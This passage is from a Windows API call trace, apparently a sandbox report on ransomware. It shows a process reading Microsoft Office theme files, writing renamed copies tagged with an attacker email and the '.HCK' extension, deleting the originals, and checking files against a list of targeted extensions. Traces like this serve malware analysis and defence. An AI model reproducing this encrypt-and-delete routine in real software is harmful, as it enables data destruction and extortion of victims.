lpNumberOfBytesRead=0x2e5fecc*=0xb543, lpOverlapped=0x0) returned 1 [0231.605] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xb550, lpOverlapped=0x0) returned 1 [0231.606] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.606] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf2, lpOverlapped=0x0) returned 1 [0231.606] SetEndOfFile (hFile=0x548) returned 1 [0231.606] CloseHandle (hObject=0x548) returned 1 [0231.606] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.606] SetEndOfFile (hFile=0x4b8) returned 1 [0231.608] CloseHandle (hObject=0x4b8) returned 1 [0231.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\milk glass.eftx")) returned 1 [0231.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.609] lstrlenW (lpString=".doc") returned 4 [0231.609] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.609] lstrlenW (lpString=".docx") returned 5 [0231.609] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.609] lstrlenW (lpString=".pdf") returned 4 [0231.609] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.609] lstrlenW (lpString=".xls") returned 4 [0231.609] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.609] lstrlenW (lpString=".xlsx") returned 5 [0231.609] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.609] lstrlenW (lpString=".ppt") returned 4 [0231.609] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.609] lstrlenW (lpString=".zip") returned 4 [0231.610] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".rar") returned 4 [0231.610] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".bz2") returned 4 [0231.610] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".7z") returned 3 [0231.610] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString=".dbf") returned 4 [0231.610] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString=".1cd") returned 4 [0231.610] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString=".jpg") returned 4 [0231.610] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString=".doc") returned 4 [0231.610] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".docx") returned 5 [0231.610] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0231.610] lstrlenW (lpString=".pdf") returned 4 [0231.610] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".xls") returned 4 [0231.610] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".xlsx") returned 5 [0231.610] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0231.610] lstrlenW (lpString=".ppt") returned 4 [0231.610] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString=".zip") returned 4 [0231.610] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".rar") returned 4 [0231.610] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".bz2") returned 4 [0231.610] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString=".7z") returned 3 [0231.610] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString=".dbf") returned 4 [0231.610] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0231.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.610] lstrlenW (lpString=".1cd") returned 4 [0231.611] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0231.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Milk Glass.eftx") returned 87 [0231.611] lstrlenW (lpString=".jpg") returned 4 [0231.611] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0231.611] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0231.611] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0231.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0231.612] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=45229) returned 1 [0231.612] CloseHandle (hObject=0x4b8) returned 1 [0231.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0231.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0231.613] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.613] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0231.613] GetLastError () returned 0x0 [0231.613] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0231.859] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0231.860] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.860] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x102, lpOverlapped=0x0) returned 1 [0231.860] SetEndOfFile (hFile=0x548) returned 1 [0232.363] CloseHandle (hObject=0x548) returned 1 [0232.363] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.363] SetEndOfFile (hFile=0x4b8) returned 1 [0232.366] CloseHandle (hObject=0x4b8) returned 1 [0232.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString=".doc") returned 4 [0232.368] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".docx") returned 5 [0232.368] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.368] lstrlenW (lpString=".pdf") returned 4 [0232.368] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".xls") returned 4 [0232.368] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".xlsx") returned 5 [0232.368] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.368] lstrlenW (lpString=".ppt") returned 4 [0232.368] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString=".zip") returned 4 [0232.368] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".rar") returned 4 [0232.368] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".bz2") returned 4 [0232.368] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".7z") returned 3 [0232.368] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString=".dbf") returned 4 [0232.368] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString=".1cd") returned 4 [0232.368] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString=".jpg") returned 4 [0232.368] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.368] lstrlenW (lpString=".doc") returned 4 [0232.368] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".docx") returned 5 [0232.368] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.368] lstrlenW (lpString=".pdf") returned 4 [0232.368] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".xls") returned 4 [0232.368] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.368] lstrlenW (lpString=".xlsx") returned 5 [0232.368] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.368] lstrlenW (lpString=".ppt") returned 4 [0232.368] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.369] lstrlenW (lpString=".zip") returned 4 [0232.369] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.369] lstrlenW (lpString=".rar") returned 4 [0232.369] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.369] lstrlenW (lpString=".bz2") returned 4 [0232.369] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.369] lstrlenW (lpString=".7z") returned 3 [0232.369] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.369] lstrlenW (lpString=".dbf") returned 4 [0232.369] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.369] lstrlenW (lpString=".1cd") returned 4 [0232.369] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0232.369] lstrlenW (lpString=".jpg") returned 4 [0232.369] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.369] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0232.369] lstrlenW (lpString="Smokey Glass.eftx") returned 17 [0232.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0232.370] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=186195) returned 1 [0232.370] CloseHandle (hObject=0x4b8) returned 1 [0232.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0232.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0232.370] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.370] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0232.371] GetLastError () returned 0x0 [0232.371] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d753, lpOverlapped=0x0) returned 1 [0232.383] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d760, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d760, lpOverlapped=0x0) returned 1 [0232.386] ReadFile (in: hFile=0x4b8, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.386] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0232.386] SetEndOfFile (hFile=0x548) returned 1 [0232.386] CloseHandle (hObject=0x548) returned 1 [0232.386] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.386] SetEndOfFile (hFile=0x4b8) returned 1 [0232.390] CloseHandle (hObject=0x4b8) returned 1 [0232.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 1 [0232.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.391] lstrlenW (lpString=".doc") returned 4 [0232.391] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".docx") returned 5 [0232.392] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.392] lstrlenW (lpString=".pdf") returned 4 [0232.392] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".xls") returned 4 [0232.392] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".xlsx") returned 5 [0232.392] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.392] lstrlenW (lpString=".ppt") returned 4 [0232.392] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.392] lstrlenW (lpString=".zip") returned 4 [0232.392] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".rar") returned 4 [0232.392] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".bz2") returned 4 [0232.392] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".7z") returned 3 [0232.392] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.392] lstrlenW (lpString=".dbf") returned 4 [0232.392] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.392] lstrlenW (lpString=".1cd") returned 4 [0232.392] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.392] lstrlenW (lpString=".jpg") returned 4 [0232.392] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.392] lstrlenW (lpString=".doc") returned 4 [0232.392] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".docx") returned 5 [0232.392] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0232.392] lstrlenW (lpString=".pdf") returned 4 [0232.392] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".xls") returned 4 [0232.392] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".xlsx") returned 5 [0232.392] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0232.392] lstrlenW (lpString=".ppt") returned 4 [0232.392] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.392] lstrlenW (lpString=".zip") returned 4 [0232.392] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".rar") returned 4 [0232.392] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".bz2") returned 4 [0232.392] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0232.392] lstrlenW (lpString=".7z") returned 3 [0232.392] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0232.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.393] lstrlenW (lpString=".dbf") returned 4 [0232.393] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0232.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.393] lstrlenW (lpString=".1cd") returned 4 [0232.393] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0232.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89 [0232.393] lstrlenW (lpString=".jpg") returned 4 [0232.393] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0232.393] lstrcmpiW (lpString1=".eftx", lpString2=".HCK") returned -1 [0232.393] lstrlenW (lpString="Subtle Solids.eftx") returned 18 [0232.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0232.394] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=45435) returned 1 [0232.394] CloseHandle (hObject=0x4b8) returned 1 [0232.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220 [0232.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0232.401] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.401] SetFilePointerEx (in: hFile=0x49c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0232.402] GetLastError () returned 0x0 